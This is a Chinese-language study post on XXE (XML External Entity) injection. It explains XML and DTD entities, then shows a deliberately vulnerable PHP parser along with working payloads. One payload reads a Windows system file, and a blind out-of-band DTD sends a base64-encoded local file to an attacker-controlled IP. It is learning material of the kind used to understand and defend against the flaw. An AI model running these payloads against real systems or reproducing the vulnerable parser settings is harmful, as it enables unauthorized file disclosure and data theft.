XXE漏洞

本文只是对XXE漏洞学习,参考多篇文章

一、XML基础

​ XML 用于编辑电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据,是一种允许用户的对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义、文档元素。

<?xml version="1.0" encoding="ISO-8859-1"?>    <!--xml声明 定义xml版本1.0和所使用的编码 ISO-8859-1-->
<note>    <!--根元素-->    <!--之后为4个子元素(to,from,heading,body)-->
<to>George</to>                
<form>John</form>        
<heading>Reminder</heading>
<body>11111</body>
</note>     <!--根元素结尾-->

因为只为学习漏洞,不对xml进行详细学习。

http://www.w3school.com.cn/x.asp可以在此查看详细内容

而XXE漏洞相关的则为DTD

DTD

​ DTD 文档类型定义,可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
​ DTD可以成行地声明XML文档中,也可以作为一个外部引用。
1. 内部声明DTD

假如DTD 被包含在XML源文件中,应当通过下面的语法包装在一个DOCTYPE声明中

<!DOCTYPE 根元素[元素声明]>
<?xml version="1.0"?>    <!--xml声明 定义xml版本1.0-->
<!DOCTYPE note[					<!--定义此文档为note类型的文档-->
 <!ELEMENT note (to,from,heading,body)> <!--定义note 元素有4个元素 “to、from、heading、body-->
 <!ELEMENT to    (#PCDATA)>     <!--定义to 元素为 “#PCDATA”类型 以下如此-->
 <!ELEMENT from  (#PCDATA)>
 <!ELEMENT heading (#PCDATA)>
 <!ELEMENT body (#PCDATA)>
]>
<note>
	<to>George</to>
	<from>John</from>
	<heading>Reminder</heading>
	<body>1111</body>
</note>

2. 引用外部
假如DTD 位于XML源文件外部,那么应该通过下面的语言被封装在一个DOCTYOE定义中
<!DOCTYPE> 根元素 SYSTEM “文件名”>
与上 面内部声明 xml文件差不多,但是拥有一个外部的DTD

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

包含DTD的 note.dtd 文件

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

3. 其中还有一种应用的格式为

<!DOCTYPE 根元素 SYSTEM "DTD文件"[定义内容]>

DTD -实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对(实体)的引用。(实体)可以在内部或者外部进行声明

1. 内部实体声明

<!ENTITY 实体名称 “实体的值”>

如:

<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
<author>&writer;&copyright;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (😉。

2. 一个外部实体声明

<!ENTITY 实体名称 SYSYTEM "URL">

如:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<author>&writer;&copyright;</author>

XML实体分为 普通实体和参数实体 。上面介绍的为普通实体 使用场合则为XML文档中

二、XML外部实体注入(XML External Entity XEE)

​ 当允许引用外部实体时候,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口等危害。

有回显读取本地敏感文件

普通实体引用外部实体

服务器 xml.php

<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
<creds>&goodies;</creds>

参数实体引用外部实体

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY  % a SYSTEM "192.168.11.57:8888/outdtd.dtd"> %a;]> 
<creds>&xxe;</creds>
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">

无回显读取本地的敏感文件

​ 可以看到在上面两个实验中,都是有显示,而另外一种情况无回显

服务端 xml.php

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

1.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">

Payload

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

利用

在上面当中一直使用的为 file 协议 。在真实情况中应该清楚为什么平台,能够使用什么协议。

三、总结

可以看出 XXE 漏洞,知识点涉及较多内容。如 其它利用 危害 Dos拒绝服务、内网主机探测 、内网主机端口扫描。 由于内容较多 之后在一一更新补充。

参考链接

https://security.tencent.com/index.php/blog/msg/69

https://xz.aliyun.com/t/3357#toc-0

posted @ 2019-02-18 15:48  0x516A  阅读(386)  评论(0编辑  收藏  举报